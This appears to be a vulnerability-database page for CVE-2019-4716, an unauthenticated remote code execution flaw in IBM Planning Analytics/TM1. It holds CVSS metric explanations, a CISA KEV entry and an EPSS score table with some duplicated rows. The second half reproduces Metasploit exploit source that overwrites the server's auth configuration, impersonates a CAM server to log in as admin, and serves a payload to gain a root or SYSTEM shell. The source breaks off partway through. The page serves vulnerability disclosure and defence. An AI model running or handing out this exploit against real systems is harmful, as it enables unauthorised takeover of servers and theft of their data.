CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
IBM Planning Analytics 2.0.0 through 2.0.8 is vulnerable to a configuration overwrite that allows an unauthenticated user to login as "admin", and then execute code as root or SYSTEM via TM1 scripting. IBM X-Force ID: 172094.
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Changed
An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Exploit Code Maturity
This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, 'in-the-wild' exploitation.
Unproven
No exploit code is available, or an exploit is theoretical.
Remediation Level
The Remediation Level of a vulnerability is an important factor for prioritization.
Official fix
A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.
Report Confidence
This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.
Confirmed
Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.
Environmental Metrics
V3.0
10
CRITICAL
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Changed
An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
psirt@us.ibm.com
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : IBM Planning Analytics Remote Code Execution Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2021-11-02 23h00 +00:00
Action is due : 2022-05-02 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
82.91%
–
–
–
–
2021-09-05
–
82.91%
–
–
–
2022-02-06
–
–
91.04%
–
–
2022-04-03
–
–
83.01%
–
–
2023-03-12
–
–
–
1.94%
–
2023-04-09
–
–
–
2.42%
–
2023-05-07
–
–
–
2.25%
–
2023-05-14
–
–
–
2.62%
–
2023-05-28
–
–
–
3.67%
–
2023-07-02
–
–
–
4.36%
–
2023-08-20
–
–
–
7.05%
–
2023-09-10
–
–
–
8.34%
–
2023-10-08
–
–
–
8.91%
–
2024-02-11
–
–
–
8.61%
–
2024-03-31
–
–
–
7.05%
–
2024-04-14
–
–
–
6.82%
–
2024-06-02
–
–
–
5.83%
–
2024-06-16
–
–
–
7.05%
–
2024-08-04
–
–
–
12.44%
–
2024-08-11
–
–
–
12.44%
–
2024-10-13
–
–
–
16.97%
–
2024-11-10
–
–
–
18.34%
–
2024-12-15
–
–
–
18.39%
–
2024-12-22
–
–
–
81.61%
–
2024-12-29
–
–
–
77.27%
–
2025-01-19
–
–
–
77.6%
–
2025-02-09
–
–
–
74.53%
–
2025-02-23
–
–
–
58.16%
–
2025-03-16
–
–
–
68.21%
–
2025-01-19
–
–
–
77.6%
–
2025-02-16
–
–
–
74.53%
–
2025-02-23
–
–
–
58.16%
–
2025-03-18
–
–
–
–
82.65%
2025-03-30
–
–
–
–
82.15%
2025-03-30
–
–
–
–
82.15,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows
an unauthenticated attacker to perform a configuration overwrite.
It starts by querying the Admin server for the available applications, picks one,
and then exploits it. You can also provide an application name to bypass this step,
and exploit the application directly.
The configuration overwrite is used to change an application server authentication
method to "CAM", a proprietary IBM auth method, which is simulated by the exploit.
The exploit then performs a fake authentication as admin, and finally abuses TM1
scripting to perform a command injection as root or SYSTEM.
Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.
Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions
earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>',
# Vulnerability discovery and Metasploit module
'Gareth Batchelor <gbatchelor@cloudtrace.com.au>'
# Real world exploit testing and feedback
],
'References' =>
[
[ 'CVE', '2019-4716' ],
[ 'URL', 'https://www.ibm.com/support/pages/node/1127781' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-tm1-rce.txt' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Mar/44' ]
],
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[ 'Windows (Command)',
{
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Payload' =>
{
# Plenty of bad chars in Windows... there might be more lurking
'BadChars' => "\x25\x26\x27\x3c\x3e\x7c",
}
}
],
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[ 'Linux (Command)',
{
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'Payload' =>
{
# only one bad char in Linux, baby! (that we know of...)
'BadChars' => "\x27",
}
}
],
[ 'AIX (Command)',
{
# This should work on AIX, but it was not tested!
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'Payload' =>
{
# untested, but assumed to be similar to Linux
'BadChars' => "\x27",
}
}
],
],
'Stance' => Msf::Exploit::Stance::Aggressive,
# we need this to run in the foreground
'DefaultOptions' =>
{
# give the target lots of time to download the payload
'WfsDelay' => 30,
},
'Privileged' => true,
'DisclosureDate' => "Dec 19 2019",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(5498),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
])
register_advanced_options [
OptString.new('APP_NAME', [false, 'Name of the target application']),
OptInt.new('AUTH_ATTEMPTS', [true, "Number of attempts to auth to CAM server", 10]),
]
end
## Packet structure start
# these are client message types
MSG_TYPES = {
:auth => [ 0x0, 0x1 ],
:auth_uniq => [ 0x0, 0x3 ],
:auth_1001 => [ 0x0, 0x4 ],
:auth_cam_pass => [ 0x0, 0x8 ],
:auth_dist => [ 0x0, 0xa ],
:obj_register => [ 0, 0x21 ],
:obj_prop_set => [ 0, 0x25 ],
:proc_create => [ 0x0, 0x9c ],
:proc_exec => [ 0x0, 0xc4 ],
:get_config => [ 0x1, 0x35 ],
:upd_clt_pass => [ 0x1, 0xe2 ],
:upd_central => [ 0x1, 0xae ],
}
# packet header is universal for both client and server
PKT_HDR = [ 0, 0, 0xff, 0xff ]
# pkt end marker (client only, server responses do not have it)
PKT_END = [ 0xff, 0xff ]
# empty auth object, used for operations that do not require auth
AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]
# This is actually the client version number
# 0x6949200 = 110400000 in decimal, or version 11.4
# The lowest that version 11.4 seems to accept is 8.4, so leave that as the default
# 8.4 = 0x4CACE80
# 9.1 = 0x55ED120
# 9.4 = 0x5636500
# 10.1 = 0x5F767A0
# 10.4 = 0x5FBFB80
# 11.1 = 0x68FFE20
# 11.4 = 0x6949200
#
# If something doesn't work, try using one of the values above, but bear in mind this module
# was tested on 10.2.2 and 11.4,
VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ]
## Packet structure end
## Network primitives start
# unpack a string (hex string to array of bytes)
def str_unpack(str)
arr = []
str.scan(/../).each do |b|
arr += [b].pack('H*').unpack('C*')
end
arr
end
# write strings directly to socket; each 2 string chars are a byte
def sock_rw_str(sock, msg_str)
sock_rw(sock, str_unpack(msg_str))
end
# write array to socket and get result
# wait should also be implemented in msf
def sock_rw(sock, msg, ignore = false, wait = 0)
sock.write(msg.pack('C*'))
if not ignore
sleep(wait)
recv_sz = sock.read(2).unpack('H*')[0].to_i(16)
bytes = sock.read(recv_sz-2).unpack('H*')[0]
bytes
end
end
def sock_r(sock)
recv_sz = sock.read(2).unpack('H*')[0].to_i(16)
bytes = sock.read(recv_sz-2).unpack('H*')[0]
bytes
end
def get_socket(app_host, app_port, ssl = 0)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp(
{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
sock.close if sock
end
if sock.nil?
fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
end
if ssl == 1
# also need to add support for old ciphers
ctx = OpenSSL::SSL::SSLContext.new
ctx.min_version = OpenSSL::SSL::SSL3_VERSION
ctx.security_level = 0
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
s.sync_close = true
s.connect
return s
end
return sock
end
## Network primitives end
## Packet primitives start
def pack_sz(sz)
[sz].pack('n*').unpack('C*')
end
# build a packet, ready to send
def pkt_build(msg_type, auth_obj, contents)
pkt = PKT_HDR + msg_type + auth_obj + contents + PKT_END
pack_sz(pkt.length + 2) + pkt
end
# extracts the first object from a server response
def obj_extract(res)
arr = str_unpack(res)
# ignore packet header (4 bytes)
arr.shift(PKT_HDR.length)
if arr[0] == 5
# this is an object, get the type (1 byte) plus the object bytes (9 bytes)
obj = Array.new
obj = arr[0..9]
obj
end
end
# adds a string to a packet
# C string = 0x2; utf string = 0xe; binary = 0xf
def stradd(str, type = 0xe)
arr = [ type ] # string type
arr += pack_sz(str.length)
arr += str.unpack('C*')
arr
end
# packs binary data into an array
def datapack(data)
arr = []
data.chars.each do |d|
arr << d.ord
end
arr
end
def binadd(data)
arr = [ 0xf ] # binary type 0xf
arr += pack_sz(data.length) # 2 byte size
arr += datapack(data) # ... and add the data
end
def get_str(data)
s = ""
while data[0] != '"'.ord
data.shift
end
data.shift
while data[0] != '"'.ord
s += data[0].chr
data.shift
end
# comma
data.shift
s
end
# This fetches the current IntegratedSecurityMode from a packet such as
# 0000ffff070000000203000000 01 07000000020e00000e0000 (1)
# 0000ffff070000000203000000 02 07000000020e00000e00084b65726265726f73 (2)
# 0000ffff070000000203000000 06 07000000010e0000 (6)
def get_auth(data)
# make it into an array
data = str_unpack(data)
if data.length > 13
# skip 13 bytes (header + array indicator + index indicator)
data.shift(13)
# fetch the auth method byte
data[0]
end
end
def update_auth(auth_method, restore = false)
# first byte of data is ignored, so add an extra space
if restore
srv_config = " IntegratedSecurityMode=#{auth_method}"
else
# To enable CAM server authentication over SSL, the CAM server certificate has to be previously
# imported into the server. Since we can't do this, disable SSL in the fake CAM.
srv_config = " IntegratedSecurityMode=#{auth_method}\n" +
"ServerCAMURI=http://#{srvhost}:#{srvport}\n" +
"ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" +
"CAMUseSSL=F\n"
end
arr =
[ 3 ] + [ 0, 0, 0, 2 ] + # no idea what this index is
[ 3 ] + [ 0, 0, 0, 2 ] + # same here
[ 3 ] + [ 0 ] * 4 + # same here
stradd(rand_text_alpha(5..12)) + # same here...
stradd("tm1s_delta.cfg") + # update file name
binadd(srv_config) + # file data
stradd(rand_text_alpha(0xf)) # last sync timestamp, max len 0xf
upd_auth = pkt_build(
MSG_TYPES[:upd_central],
AUTH_OBJ_EMPTY,
[ 7 ] + # array type
[ 0, 0, 0, 7 ] + # array len (fixed size of 7 for this pkt)
arr
)
upd_auth
end
## Packet primitives end
## CAM HTTP functions start
def on_request_uri(cli, request)
xml_res = %{<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://developer.cognos.com/schemas/dataSourceCommandBlock/1/" xmlns:bus="http://developer.cognos.com/schemas/bibus/3/" xmlns:cm="http://developer.cognos.com/schemas/contentManagerService/1" xmlns:ns10="http://developer.cognos.com/schemas/indexUpdateService/1" xmlns:ns11="http://developer.cognos.com/schemas/jobService/1" xmlns:ns12="http://developer.cognos.com/schemas/metadataService/1" xmlns:ns13="http://developer.cognos.com/schemas/mobileService/1" xmlns:ns14="http://developer.cognos.com/schemas/monitorService/1" xmlns:ns15="http://developer.cognos.com/schemas/planningAdministrationConsoleService/1" xmlns:ns16="http://developer.cognos.com/schemas/planningRuntimeService/1" xmlns:ns17="http://developer.cognos.com/schemas/planningTaskService/1" xmlns:ns18="http://developer.cognos.com/schemas/reportService/1" xmlns:ns19="http://developer.cognos.com/schemas/systemService/1" xmlns:ns2="http://developer.cognos.com/schemas/agentService/1" xmlns:ns3="http://developer.cognos.com/schemas/batchReportService/1" xmlns:ns4="http://developer.cognos.com/schemas/dataIntegrationService/1" xmlns:ns5="http://developer.cognos.com/schemas/dataMovementService/1" xmlns:ns6="http://developer.cognos.com/schemas/deliveryService/1" xmlns:ns7="http://developer.cognos.com/schemas/dispatcher/1" xmlns:ns8="http://developer.cognos.com/schemas/eventManagementService/1" xmlns:ns9="http://developer.cognos.com/schemas/indexSearchService/1">
<SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<cm:queryResponse>
<result baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">
PLACEHOLDER
</result>
</cm:queryResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>}
session =
%Q{ <item xsi:type="bus:session">
<identity>
<value baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">
<item xsi:type="bus:account">
<searchPath><value>admin</value></searchPath>
</item>
</value>
</identity>
</item>}
account =
%Q{ <item xsi:type="bus:account">
<defaultName><value>admin</value></defaultName>
</item>}
headers = { "SOAPAction" => '"http://developer.cognos.com/schemas/contentManagerService/1"'}
if request.body.include? "<searchPath>/</searchPath>"
print_good("CAM: Received first CAM query, responding with account info")
response = xml_res.sub('PLACEHOLDER', account)
elsif request.body.include? "<searchPath>~~</searchPath>"
print_good("CAM: Received second CAM query, responding with session info")
response = xml_res.sub('PLACEHOLDER', session)
elsif request.body.include? "<searchPath>admin</searchPath>"
print_good("CAM: Received third CAM query, responding with random garbage")
response = rand_text_alpha(5..12)
elsif request.method == "GET"
print_good("CAM: Received request for payload executable, shell incoming!")
response = @pl
headers = { "Content-Type" => "application/octet-stream" }
else
response = ''
print_error("CAM: received unknown request")
end
send_response(cli, response, headers)
end
## CAM HTTP functions end
def restore_auth(app, auth_current)
print_status("Restoring original authentication method #{auth_current}")
upd_cent = update_auth(auth_current, true)
s = get_socket(app[2], app[3], app[5])
sock_rw(s, upd_cent, true)
s.close
end
def exploit
# first let's check if SRVHOST is valid
if datastore['SRVHOST'] == "0.0.0.0"
fail_with(Failure::Unknown, "Please enter a valid IP address for SRVHOST")
end
# The first step is to query the administrative server to see what apps are available.
# This action can be done unauthenticated. We then list all the available app servers
# and pick a random one that is currently accepting clients. This step is important
# not only to know what app servers are available, but also to know if we need to use
# SSL or not.
# The admin server is usually at 5498 using SSL. Non-SSL access is disabled by default, but when enabled, it's available at port 5495
#
# Step 1: fetch the available applications / servers from the Admin server
# ... if the user did not enter an APP_NAME
if datastore['APP_NAME'].nil?
connect
print_status("Connecting to admin server and obtaining application data")
# for this packet we use string type 0xc (?) and cut off the PKT_END
pkt_control = PKT_HDR + [0] + stradd(lhost, 0xc)
pkt_control = pack_sz(pkt_control.length + 2) + pkt_control
data = sock_rw(sock, pkt_control)
disconnect
if data
# now process the response
apps = []
data = str_unpack(data)
# ignore packet header (4 bytes)
data.shift(PKT_HDR.length)
# now just go through the list we received, sample format below
# "24retail","tcp","10.11.12.123","17414","1460","1","127.0.0.1,127.0.0.1,127.0.0.1","1","0","","","","0","","0","","ipv4","22","0","2","http://centos7.doms.com:8014","8014"
# "GO_New_Stores","tcp","10.11.12.123","45557","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","23","0","2","https://centos7.doms.com:5010","5010"
# "GO_Scorecards","tcp","10.11.12.123","44321","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:44312","44312"
# "Planning Sample","tcp","10.11.12.123","12345","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:12354","12354"
# "proven_techniques","tcp","10.11.12.123","53333","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:5011","5011"
# "SData","tcp","10.11.12.123","12346","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:8010","8010"
while data != nil and data.length > 2
# skip the marker (0x0, 0x5) that indicates the start of a new app
data = data[2..-1]
# read the size and fetch the data
size = (data[0..1].pack('C*').unpack('H*')[0].to_i(16))
data_next = data[2+size..-1]
data = data[2..size]
# first is application name
app_name = get_str(data)
# second is protocol, we don't care
proto = get_str(data)
# third is IP address
ip = get_str(data)
# app port
port = get_str(data)
# mtt maybe? don't care
mtt = get_str(data)
# not sure, and don't care
unknown = get_str(data)
# localhost addresses? again don't care
unknown_addr = get_str(data)
# I think this is the accepting clients flag
accepts = get_str(data)
# and this is a key one, the SSL flag
ssl = get_str(data)
# the leftover data is related to the REST API *I think*, so we just ignore it
print_good("Found app #{app_name} #{proto} ip: #{ip} port: #{port} available: #{accepts} SSL: #{ssl}")
apps.append([app_name, proto, ip, port.to_i, accepts.to_i, ssl.to_i])
data = data_next
end
else
fail_with(Failure::Unknown, 'Failed to obtain application data from the admin server')
end
# now pick a random application server that is accepting clients via TCP
app = apps.sample
total = apps.length
count = 0
# TODO: check for null return here, and probably also response size > 0x20
while app[1] != "tcp" and app[4] != 1 and count < total
app = apps.sample
count += 1
end
if count == total
fail_with(Failure::Unknown, 'Failed to find an application we can attack')
end
print_status("Picked #{app[0]} as our target, connecting...")
else
# else if the user entered an APP_NAME, build the app struct with that info
ssl = datastore['SSL']
app = [datastore['APP_NAME'], 'tcp', rhost, rport, 1, (ssl ? 1 : 0)]
print_status("Attacking #{app[0]} on #{peer} as requested with TLS #{ssl ? "on" : "off"}")
end
s = get_socket(app[2], app[3], app[5])
# Step 2: get the current app server configuration variables, such as the current auth method used
get_conf = stradd(app[0])
get_conf += VERSION
auth_get = pkt_build(MSG_TYPES[:get_config], AUTH_OBJ_EMPTY, get_conf)
data = sock_rw(s, auth_get)
auth_current = get_auth(data)
print_good("Current auth method is #{auth_current}, we're good to go!")
s.close
# Step 3: start the fake CAM server / exploit server
if payload.arch.include? ARCH_CMD
@pl = ''
else
@pl = generate_payload_exe
end
# do not use SSL for the CAM server!
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
print_status("Starting up the fake CAM server...")
start_service(
{
'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => '/'
},
}
